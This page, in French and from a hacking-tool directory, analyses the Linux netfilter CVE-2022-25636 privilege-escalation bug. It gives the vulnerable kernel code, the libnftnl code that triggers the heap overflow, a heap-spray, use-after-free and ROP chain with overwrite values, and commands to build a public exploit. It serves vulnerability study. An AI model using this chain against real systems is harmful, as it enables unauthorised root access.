Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-25636 — Analyse de CVE-2022-0185 | Kitploit
Outils/GitHubGitHub/chenaotian/cve-2022-25636
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationApprentissage et ÉducationExploitation de Binaires
GitHubchenaotian/cve-2022-25636

CVE-2022-25636

Analyse de CVE-2022-0185

Voir le dépôt
32il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-25636 netfilter : élévation de privilèges dans le noyau

[toc]

Introduction à la vulnérabilité

Identifiant de la vulnérabilité : CVE-2022-25636

Produit vulnérable : linux kernel - netfilter

Versions affectées : linux kernel 5.4 ~

Impact : le module noyau netfilter présente une écriture hors limites dans le tas, permettant une élévation de privilèges avec SYS_ADMIN.

Mise en place de l'environnement

La vulnérabilité se trouve dans le module noyau netfilter, le code concerné se situe dans 3 fichiers .ko.

root@kitploit:~
nft_dup_netdev.ko  
nf_dup_netdev.ko 
nf_tables.ko 

Démarrer directement avec qemu pose problème, les modules .ko ne se chargent pas ; utiliser VMware en débogage sur deux machines.

Ubuntu 21.10 permet de remplacer manuellement le noyau :

root@kitploit:~
apt-get install linux-image-5.13.0-30-generic

Retirez ensuite le noyau d'origine et compilez l'exploit :

root@kitploit:~
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit

Effet de l'élévation de privilèges (taux de réussite inférieur à 50 %) :

image-20220318151010142

Principe de la vulnérabilité

Point de déclenchement de la vulnérabilité

La fonction concernée est nft_fwd_dup_netdev_offload :

linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload

root@kitploit:~
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

Lors de l'écriture dans flow->rule->action.entries (cette structure est de longueur variable), aucune vérification des limites du tas n'est effectuée, ce qui conduit à une écriture hors limites d'un entier (4 ou 5) et d'un pointeur.

Pile d'appels

La fonction est utilisée dans nft_flow_rule_create :

linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create

root@kitploit:~
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
					   const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {//根据传入reule 的数量计算num_actions
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;// 只有带有NFT_OFFLOAD_F_ACTION 标记才计数

		expr = nft_expr_next(expr);
	}

	if (num_actions == 0)
		return ERR_PTR(-EOPNOTSUPP);

	flow = nft_flow_rule_alloc(num_actions);//根据num_actions 数量申请空间(变长结构体)
	if (!flow)
		return ERR_PTR(-ENOMEM);

	expr = nft_expr_first(rule);
	//ctx->num_actions 初始化为0 ↓
	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
	if (!ctx) {
		err = -ENOMEM;
		goto err_out;
	}
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {//根据rule数量调用offload
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);//调用漏洞函数
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	··· ···
    ··· ···
}

On voit que la fonction nft_flow_rule_create alloue la structure flow en fonction du nombre de structures règle transmises depuis l'espace utilisateur, puis les traite. La variable num_actions est utilisée pour compter, mais pendant le comptage, seules les règles portant le flag NFT_OFFLOAD_F_ACTION sont comptées, et la taille de la structure allouée est basée sur ce nombre. Ensuite, lors du traitement via offload, la boucle n'utilise pas num_actions. Elle boucle comme auparavant sur le nombre de règles, mais sans vérifier à nouveau le flag NFT_OFFLOAD_F_ACTION. Autrement dit, lorsque les règles transmises contiennent des règles sans le flag NFT_OFFLOAD_F_ACTION, le nombre d'appels à offload est supérieur au nombre d'entrées flow->rule->action.entries précédemment allouées. Dans offload, la fonction vulnérable nft_fwd_dup_netdev_offload est appelée, étant initialisé à 0 est incrémenté à chaque appel, et à la fin dépasse la plage du tableau , provoquant un débordement.

Quelques structures :

root@kitploit:~
struct nft_flow_rule {
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;
};

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

struct nft_offload_ctx {
	struct {
		enum nft_offload_dep_type	type;
		__be16				l3num;
		u8				protonum;
	} dep;
	unsigned int				num_actions;
	struct net				*net;
	struct nft_offload_reg			regs[NFT_REG32_15 + 1];
};

Pile d'appels :

  • nft_flow_rule_create
    • nft_dup_netdev_offload/nft_fwd_netdev_offload
      • nft_fwd_dup_netdev_offload

Utilisation et déclenchement de netfilter

Référence : https://www.openwall.com/lists/oss-security/2022/02/21/2

Ce courriel explique comment utiliser netfilter avec les bibliothèques C libmnl et libnftnl. Le point clé pour déclencher la vulnérabilité est de savoir si les règles ajoutées portent le flag NFT_OFFLOAD_F_ACTION. Seules les règles créées par nftnl_expr_alloc("immediate"); portent le flag NFT_OFFLOAD_F_ACTION :

root@kitploit:~
for(int i = 0; i < legit_writes; i++) {//如下添加expr 不会越界
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
//如下添加expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

Exploitation de la vulnérabilité

L'exploitation n'est pas très stable, mais la technique utilisée est très ingénieuse. La vulnérabilité permet d'écrire un pointeur non contrôlé à un décalage fixe hors limites ; personnellement, je considère que l'exploitation est très difficile. Analysons brièvement la méthode. D'après le code de la vulnérabilité, on sait que chaque écriture hors limites ne peut écrire qu'un entier (id, fixé à 4 ou 5) et un pointeur (*dev), ce pointeur pointant vers la structure struct net_device. Ici, nous nous concentrons uniquement sur l'écriture du pointeur dev :

root@kitploit:~
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	··· ···
	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev; //固定偏移写一个堆地址,dev 为struct net_device 结构体
	··· ···
}

Concernant la structure struct flow_rule, comme il s'agit d'une structure de longueur variable, la plage de tailles pouvant être allouées détermine la réussite de l'exploitation.

  • Lorsqu'une seule règle est transmise, la taille de la structure est de 0x70, ce qui relève de kmalloc-128 (0x80). En cas de débordement, le pointeur dev est écrit à l'offset 0x88, c'est-à-dire à 0x8 au-delà des limites.
  • Si deux règles sont transmises, la taille de la structure est de 0xC0, ce qui correspond exactement à kmalloc-192 (0xC0). En cas de débordement, le pointeur dev est écrit à l'offset 0xd8, c'est-à-dire à 0x18 hors limites ; deux débordements successifs écrivent à 0x18 + 0x50, etc.

Structures associées :

root@kitploit:~
struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_match {
	struct flow_dissector	*dissector;
	void			*mask;
	void			*key;
};

struct flow_dissector {
	unsigned int used_keys; /* each bit repesents presence of one key id */
	unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {//大小0x50
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

Fuite de l'adresse de la structure net_device du noyau

Pour commencer l'exploitation, il faut d'abord divulguer l'adresse de *dev à deux reprises. Comme deux adresses dev différentes sont nécessaires, l'une est divulguée dans le processus courant et l'autre dans un processus enfant. La fuite utilise msg_msg (rappel de la technique msg_msg). On fait un heap spray de messages de taille 0x1040 ; de par la structure de msg, chaque message est divisé en deux segments. Le deuxième segment a une longueur de 0x70 ; avec l'en-tête, il est alloué dans kmalloc-128. On libère ensuite un message, ce qui libère un kmalloc-128. On utilise alors la structure flow_rule avec une seule règle, qui correspond aussi à kmalloc-128, en espérant obtenir le deuxième segment kmalloc-128 du message libéré, afin de former l'agencement de tas suivant :

image-20220320175028938

Une fois que flow_rule a obtenu la structure msg_msgseg libérée, il y a une forte probabilité qu'elle soit adjacente à d'autres msg_msgseg issus du heap spray. Ainsi, une écriture hors limites écrit un pointeur de tas net_device (pointeur dev) à l'offset 0x8 hors limites. Il suffit de recevoir tous les messages du heap spray pour lire ce pointeur de tas, ce qui complète la fuite d'adresse pour l'exploitation ultérieure, sans crash.

setxattr pour une UAF et fuite de KASLR

Ensuite, fuyons KASLR pour obtenir l'adresse de base du noyau. Avec la même méthode, on utilise msg_msg + heap spray ; on effectue un heap spray de messages kmalloc-192. Cette fois, on utilise le premier segment de msg_msg comme cible du heap spray. Puis, comme précédemment, on en libère un, on alloue un flow_rule, en espérant former l'agencement de tas suivant :

image-20220320184800730

Cette fois, on utilise la structure flow_rule avec deux règles, de taille 0xC0, appartenant exactement à kmalloc-192. Si l'écriture hors limites se produit six fois, un pointeur * dev est écrit à l'offset 0x18+0x50*5 hors limites, c'est-à-dire à l'offset 0x28 du troisième kmalloc-192 en dessous. S'il s'agit d'une structure msg_msg, c'est le pointeur security. Si l'on utilise alors la fonction msgrcv pour libérer cette structure msg_msg, elle appellera kfree, libérant le contenu pointé par le pointeur security. C'est aussi la primitive de libération à adresse arbitraire de msg_msg->security . Le code associé est le suivant :

root@kitploit:~
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{		
    ··· ···
    ··· ···
	free_msg(msg); 			
	··· ···
}

void free_msg(struct msg_msg *msg)
{
	··· ···
	security_msg_msg_free(msg);
	··· ···
}

void security_msg_msg_free(struct msg_msg *msg)
{
	call_void_hook(msg_msg_free_security, msg);
	kfree(msg->security);
	msg->security = NULL;
}

Ainsi, en recevant les messages du heap spray, on libère le pointeur dev qui a recouvert security, c'est-à-dire que l'on libère la structure net_device. Ensuite, on utilise setxattr + userfaulted pour tenter de modifier ce bloc de tas, réalisant ainsi une UAF. setxattr permet d'allouer un bloc de tas noyau de taille arbitraire, d'y écrire un contenu arbitraire, puis de le libérer. C'est une technique courante dans l'exploitation de vulnérabilités noyau.

Comme il y a de nombreux kmalloc-192 libres dans le noyau, un seul appel à setxattr ne suffit pas. On utilise donc plusieurs threads appelant setxattr simultanément, et on se sert d'userfaulted pour allonger la durée des appels, augmentant ainsi le temps d'occupation des blocs, afin d'allouer davantage de blocs de tas noyau et d'obtenir finalement la structure net_device libérée. Une fois obtenue, on peut modifier le contenu de la structure net_device : on remplace le pointeur dev_addr par le pointeur netdev_ops, car netdev_ops est initialisé à loopback_ops ; on modifie ensuite des éléments comme le nom pour vérifier si la modification a réussi :

root@kitploit:~
    ((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
    ((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
    ((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
    ((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex

Ensuite, il suffit d'appeler la fonction SIOCGIFHWADDR de ioctl sur un socket pour lire l'adresse physique, ce qui permet de lire l'adresse de loopback_ops et de compléter la fuite. Voici quelques membres utiles de net_device :

root@kitploit:~
struct net_device {
	char			name[IFNAMSIZ]; //修改name判断是否改正确
	··· ···
	const struct net_device_ops *netdev_ops;//初始化为,用于泄露内核地址
	int			ifindex;   
	·· ···
	const struct  ethtool_ops *ethtool_ops; //用于劫持rip
	··· ···
	unsigned char		addr_len; //用于读取地址长度
	··· ···
	unsigned char		*dev_addr; //篡改用于泄露地址,被SIOCGIFHWADDR 读取
};

Deuxième UAF pour réaliser le ROP du noyau

Avec la même méthode, on utilise setxattr + userfaulted pour réaliser une UAF. Cette fois, une fois que l'on dispose de l'adresse du noyau, on modifie directement ethtool_ops de net_device pour détourner eip, puis on utilise la fonction SIOCETHTOOL de iotl d'un socket ; cela appelle une fonction dans ethtool_ops, permettant de détourner rip, puis il suffit d'exécuter un ROP. La reproduction a réussi sur ubuntu21.10 avec la version de noyau 13.0-30 :

Exploit : https://github.com/Bonfee/CVE-2022-25636

image-20220318151010142

Références

Courriel : https://www.openwall.com/lists/oss-security/2022/02/21/2

Documentation de l'auteur : https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/

Exploit : https://github.com/Bonfee/CVE-2022-25636

Télécharger l’outil
ctx->num_actions
ctx->num_actions
flow->rule->action.entries